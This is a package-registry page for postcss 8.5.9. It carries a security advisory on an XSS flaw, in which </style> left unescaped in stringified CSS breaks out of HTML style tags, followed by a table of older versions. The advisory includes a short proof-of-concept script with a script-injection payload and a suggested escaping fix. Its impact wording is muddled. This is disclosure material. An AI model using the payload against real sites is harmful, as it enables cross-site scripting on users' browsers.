NodeJS/postcss/8.5.9
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
1 Security Vulnerabilities
PostCSS has XSS via Unescaped </style> in its CSS Stringify Output
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5): Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values: javascript output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)
277 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 8.1.6 | MIT | 4 | 2020-11-05 - 16:28 | over 5 years |
| 8.1.5 | MIT | 4 | 2020-11-05 - 15:50 | over 5 years |
| 8.1.4 | MIT | 4 | 2020-10-24 - 00:03 | over 5 years |
| 8.1.3 | MIT | 4 | 2020-10-23 - 02:20 | over 5 years |
| 8.1.2 | MIT | 4 | 2020-10-19 - 00:02 | over 5 years |
| 8.1.1 | MIT | 4 | 2020-09-28 - 21:47 | over 5 years |
| 8.1.0 | MIT | 4 | 2020-09-26 - 23:35 | over 5 years |
| 8.0.9 | MIT | 4 | 2020-09-23 - 17:04 | over 5 years |
| 8.0.8 | MIT | 4 | 2020-09-23 - 02:11 | over 5 years |
| 8.0.7 | MIT | 4 | 2020-09-22 - 00:55 | over 5 years |
| 8.0.6 | MIT | 4 | 2020-09-20 - 16:53 | over 5 years |
| 8.0.5 | MIT | 4 | 2020-09-17 - 02:42 | over 5 years |
| 8.0.4 | MIT | 4 | 2020-09-16 - 22:20 | over 5 years |
| 8.0.3 | MIT | 4 | 2020-09-15 - 19:13 | over 5 years |
| 8.0.2 | MIT | 4 | 2020-09-15 - 16:46 | over 5 years |
| 8.0.1 | MIT | 4 | 2020-09-15 - 15:34 | over 5 years |
| 8.0.0 | MIT | 4 | 2020-09-15 - 15:20 | over 5 years |
| 7.0.39 | MIT | 2 | 2021-10-04 - 20:12 | over 4 years |
| 7.0.38 | MIT | 2 | 2021-09-25 - 07:30 | over 4 years |
| 7.0.37 | MIT | 2 | 2021-09-25 - 07:25 | over 4 years |
| 7.0.36 | MIT | 2 | 2021-06-11 - 02:45 | almost 5 years |
| 7.0.35 | MIT | 4 | 2020-09-28 - 21:42 | over 5 years |
| 7.0.34 | MIT | 4 | 2020-09-17 - 01:56 | over 5 years |
| 7.0.33 | MIT | 4 | 2020-09-16 - 22:12 | over 5 years |
| 7.0.32 | MIT | 4 | 2020-06-02 - 12:50 | almost 6 years |
| 7.0.31 | MIT | 4 | 2020-05-26 - 02:13 | almost 6 years |
| 7.0.30 | MIT | 4 | 2020-05-11 - 14:00 | almost 6 years |
| 7.0.29 | MIT | 4 | 2020-05-04 - 14:16 | almost 6 years |
| 7.0.28 | MIT | 4 | 2020-05-02 - 14:40 | about 6 years |
| 7.0.27 | MIT | 4 | 2020-02-18 - 02:59 | about 6 years |
| 7.0.26 | MIT | 4 | 2019-12-31 - 00:11 | over 6 years |
| 7.0.25 | MIT | 4 | 2019-12-16 - 19:16 | over 6 years |
| 7.0.24 | MIT | 4 | 2019-12-06 - 18:54 | over 6 years |
| 7.0.23 | MIT | 4 | 2019-11-18 - 22:36 | over 6 years |
| 7.0.22 | MIT | 4 | 2019-11-18 - 22:29 | over 6 years |
| 7.0.21 | MIT | 4 | 2019-10-25 - 15:55 | over 6 years |
| 7.0.20 | MIT | 4 | 2019-10-24 - 15:12 | over 6 years |
| 7.0.19 | MIT | 4 | 2019-10-24 - 12:44 | over 6 years |
| 7.0.18 | MIT | 4 | 2019-09-05 - 23:20 | over 6 years |
| 7.0.17 | MIT | 4 | 2019-06-05 - 16:38 | almost 7 years |
| 7.0.16 | MIT | 4 | 2019-05-04 - 18:59 | almost 7 years |
| 7.0.15 | MIT | 4 | 2019-05-04 - 05:42 | almost 7 years |
| 7.0.14 | MIT | 4 | 2019-01-22 - 14:16 | over 7 years |
| 7.0.13 | MIT | 4 | 2019-01-15 - 18:09 | over 7 years |
| 7.0.12 | MIT | 4 | 2019-01-15 - 16:33 | over 7 years |
| 7.0.11 | MIT | 4 | 2019-01-12 - 16:14 | over 7 years |
| 7.0.10 | MIT | 4 | 2019-01-11 - 20:15 | over 7 years |
| 7.0.9 | MIT | 4 | 2019-01-11 - 14:18 | over 7 years |
| 7.0.8 | MIT | 4 | 2019-01-08 - 12:04 | over 7 years |
| 7.0.7 | MIT | 4 | 2018-12-17 - 02:04 | over 7 years |
